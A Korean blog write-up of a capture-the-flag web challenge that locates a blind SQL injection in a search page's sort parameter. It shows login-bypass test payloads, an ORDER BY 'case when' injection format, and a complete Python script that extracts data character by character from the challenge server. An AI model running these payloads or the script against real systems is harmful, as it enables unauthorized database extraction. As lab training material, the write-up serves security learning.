[0]Before we start
-SQL Injection Point 문제는 SQL Injection 기법에 대한 문제라기보다, SQL Injection이 일어나는 곳에 집중한 문제들입니다.
*https://x4uiry.tistory.com/37
SQL Injection Point 1
x4uiry.tistory.com
-위 SQL Injeciton Point 문제 1번에서 서술한 것처럼 SQL Injeciton Point를 찾는 것을 중점으로 하고, 전체적인 구조와 Blind SQL Injeciton에 대한 설명은 위의 포스팅을 참고해주시길 바랍니다.
[1]Reconnaissance
Check SQL Injection Point
-전체적인 구조가 변하지는 않았습니다.
-SQL Injection 포인트로 로그인과 글 검색 기능, 마이페이지에서 user의 이름을 가져오는 기능으로 추려볼 수 있을 것 같습니다.
*SQL Injection은 상황에 따라 모든 SQL 구문에서 발생할 수 있습니다만, 경우의 수를 가장 작게 하고 시작하기 위해 추출을 할 수 있는 SQL Injection으로 목표를 맞췄습니다.
[1]Check Login
-제가 가입한 계정은 id:"dd", pw:"d" 입니다.
-만약 id에서 SQL Injection이 발생한다면 두 가지의 시도를 해볼 수 있습니다.
>id에 dd' and '1'='1 을 삽입하고 pw에 d을 삽입하여 로그인이 되는가? -> SQL Injeciton 발생
-실패
>id에 dd' and (select 1 union select 2) and '1'='1을 삽입하고 pw에 3을 삽입해서 에러 메세지가 발생하는가? -> 에러 메세지로 인한 Blind SQL Injection이 가능할 수 있습니다.
-실패
*아무래도 로그인 기능은 아닌 것 같네요...
[2]Check Search Tab
-option_val은 Column을, board_results는 Column의 값을 전송하는 것으로 추측되고, 전 문제들과 달리 sort라는 키가 새로 생겼습니다.
-sort는 이름으로 봤을 때 정렬의 의미일 것 같으며, 이는 order by {sort} 로 추정됩니다.
*https://x4uiry.tistory.com/17
-제가 올린 위의 포스팅에서 Advanced 부분을 보시면 case when을 이용한 SQL Injeciton을 보실 수 있습니다.
-order by case when {조건} then {정렬값1} else {정렬값2} end 구문으로 조건에 대한 참과 거짓을 정렬값 1,2를 통해 구분할 수 있습니다.
-예를 들어서 글을 다른 제목으로 두 개 쓴 다음, sort에 case when ('1'='1') then 1 else sleep(2) end에는 결과가 나오고 case when ('1'='2') then 1 else sleep(2) end에서는 2초 딜레이가 발생한다면 SQL Injection이 가능할 것 같습니다.
-딜레이가 발생했으므로 이를 SQL Injection에 사용할 수 있을 것 같습니다.
[3]Check My Page
-세션 ID로 user의 정보를 가져오는 것으로 추측할 수 있습니다.
-SQL Injection은 힘들어보입니다.
[2]Vulnerability
Blind SQL Injeciton
-이번 SQL Injeciton Point는 order by case when 구문을 이용한 Blind SQL Injection입니다.
공격 포멧
-따라서 공격포멧은 아래와 같습니다
sort: case when (__condition__)=_val_ then 1 else (select 1 union select 2) end
-SQL Injeciton 체크는 sleep으로 했는데, (select 1 union select 2) 구문에 대해서 의아하실 수 있습니다.
-이는 의도적으로 에러를 발생시키는 구문으로, 아래와 같이 "존재하지 않습니다"를 출력하고 게시글 목록이 사라집니다.
-따라서 목록에 글 중 하나인 'nice'가 존재하면 참이고, 그렇지 않다면 거짓일 것입니다. 이를 활용하여 SQL Injeciton을 할 수 있습니다.
자동화
-이진 탐색을 이용해 python 코드를 작성하면 아래와 같습니다.
import requests as req
sess = req.Session()
url = 'http://ctf.segfaulthub.com:7777/sqli_8/notice_list.php'
def get_len(ATTACK):
sp = ATTACK.split(" ")
ATTACK = ("".join(f'length({sp[x]}) ' if x == 1 else f'{sp[x]} ' for x in range(len(sp))))[:-1]
num = 1
while(1):
query = f"case when ({ATTACK})={num} then 1 else (select 1 union select 2) end"
res = sess.post(url, cookies={'user':query,'PHPSESSID':'__your_info__', 'session':'__your_info__'}, data={'option_val':'username','board_result':'d','board_search':'🔍', 'date_from':'', 'date_to':'', 'sort':query})
print(res.content)
if "nice" in res.text:
number = num
break
elif num>40:
print("No results")
return -1
else:
num += 1
continue
print(f"Length : {number}")
return number
def get_query(length, ATTACK):
data = ''
sp2 = ATTACK.split(" ")
for _ in range(1,length+1):
min_ = 32
max_ = 126
ATTACK = ("".join(f'ord(substr({sp2[x]},{str(_)},1)) ' if x == 1 else f'{sp2[x]} ' for x in range(0,len(sp2))))[:-1]
while(1):
mid = (max_+min_)/2
query = f"case when ({ATTACK})>{mid} then 1 else (select 1 union select 2) end"
res = sess.post(url, cookies={'user':query,'PHPSESSID':'__your_info__', 'session':'__your_info__'}, data={'option_val':'username','board_result':'d','board_search':'🔍', 'date_from':'', 'date_to':'', 'sort':query})
if "nice" in res.text:
min_ = mid
else:
max_ = mid
if(max_-min_<=1 and max_==mid):
data = data + chr(int(mid))
print(chr(int(mid)), end="\0")
break
return data
if __name__ == "__main__":
while(1):
ATTACK = input("Please Enter the Query >> ")
number = get_len(ATTACK)
if (number == -1):
print("Hey, Check your Query")
continue
res = get_query(number,ATTACK)
print("")
[3]Flag
'write-up > web' 카테고리의 다른 글
Basic Script Prac (0) | 2024.06.28 |
---|---|
SQL Injection Point 4 (0) | 2024.06.11 |
SQL Injection Point 2 (0) | 2024.06.11 |
SQL Injection Point 1 (0) | 2024.06.06 |
SQL Injection 6 (0) | 2024.06.05 |